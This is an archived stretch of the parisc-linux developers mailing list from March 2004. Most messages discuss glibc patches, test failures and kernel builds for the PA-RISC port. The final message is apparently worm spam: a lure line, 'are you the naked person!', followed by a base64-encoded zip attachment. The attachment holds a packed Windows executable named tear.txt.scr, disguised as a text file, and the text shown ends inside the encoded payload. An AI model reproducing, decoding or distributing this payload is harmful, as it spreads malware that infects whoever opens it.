X-List-Received-Date: Tue, 16 Mar 2004 20:01:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21109

> Mhh, doesn't work for me with the latest CVS:

should link now, whether it works or not is another thing ;-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Tue, 16 Mar 2004 16:09:33 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20040316210933.GO660@baldric.uwo.ca>
References: <20040315185113.GC660@baldric.uwo.ca>
	<40561E710000043C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623277 6674 80.91.229.3 (22 Nov 2014 02:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:57 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Mar 16 14:12:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97F744854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 14:12:16 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B3Lob-0005in-00; Tue, 16 Mar 2004 16:09:33 -0500
Content-Disposition: inline
In-Reply-To: <40561E710000043C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (93% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 21:12:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21110

> but that way I only get know errors ie:
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
> make[1]: *** [math/tests] Error 2
> make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
> make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
> make[1]: *** [stdlib/tests] Error 2
> make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] Error
> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2
> 
> (sorry I forget TIMEOUTFACTOR) :)

:) No problem!
 
> Very nice job Carlos.
> Just still have to check more X,

No, thank you Joel, your testing and bravery is an enourmous help :)

c.



From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 00:46:34 +0000 (GMT)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403170046060.29766@sal.ucc.ie>
References: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
	<40561E7100000AF2@ocpmta2.freegates.net>
	<20040316165202.GW25059@parcelfarce.linux.theplanet.co.uk>
	<Pine.LNX.4.58.0403161946550.27512@sal.ucc.ie>
	<20040316200121.GN2384@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623278 6932 80.91.229.3 (22 Nov 2014 02:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: xam@cs.ucc.ie  Tue Mar 16 17:46:40 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id E47D84854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 17:46:39 -0700 (MST)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i2H0kZ5a016470;
	Wed, 17 Mar 2004 00:46:35 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040316200121.GN2384@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 00:46:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21111

On Tue, 16 Mar 2004, Randolph Chung wrote:

> > Mhh, doesn't work for me with the latest CVS:
>
> should link now, whether it works or not is another thing ;-)

Yes, 2.6.5-rc1-pa1 works fine for me!

Thanks alot,
  Max



From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Wed, 17 Mar 2004 09:30:59 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <40561E9500001160@ocpmta3.freegates.net>
References: <20040316210933.GO660@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623278 6936 80.91.229.3 (22 Nov 2014 02:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:58 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Mar 17 01:31:03 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0C5C4855
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 01:31:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B3WS3-0008Aj-00; Wed, 17 Mar 2004 09:30:59 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Mar 2004 09:30:59 +0100
In-Reply-To: <20040316210933.GO660@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 08:31:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21112


Hello Carlos,
 
>> Very nice job Carlos.
>> Just still have to check more X,

I now boot on the (previously /mnt/chroot) disk with new glibc (to be accurate
cvs 2004 03 15 + your patch + my feupdateenv) with kernel 2.6.4-pa1 first.

I try to rebuild 2.6.4-pa2 as well as 2.6.5-rc1-pa0 (but small pb) and so
rebuild 2.6.4-pa1 to add kbd and mouse support: rebuild ok, reboot ok.

I also relaunch Xfce4 and do some test with its file manager, its configuration
interface and xterm, all seems to works fine (well at least, i don't log
any error and any critical trouble in its usage ;)).

>No, thank you Joel, your testing and bravery is an enourmous help :)

Welcome (if you foreseen some additional test don't hesitate), thanks for
your trust and support.

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bjpco@bjp.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hello
Date: Wed, 17 Mar 2004 14:06:12 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040317083609.487894855@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0009_000029BA.000041E7"
X-Trace: ger.gmane.org 1416623278 6940 80.91.229.3 (22 Nov 2014 02:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bjpco@bjp.org  Wed Mar 17 01:36:14 2004
Return-Path: <bjpco@bjp.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487894855
	for <parisc-linux@parisc-linux.org>;
	Wed, 17 Mar 2004 01:36:09 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 08:36:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21113

This is a multi-part message in MIME format.

------=_NextPart_000_0009_000029BA.000041E7
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

are you the naked person!

------=_NextPart_000_0009_000029BA.000041E7
Content-Type: application/x-zip-compressed;
	name="tear.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="tear.zip"

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
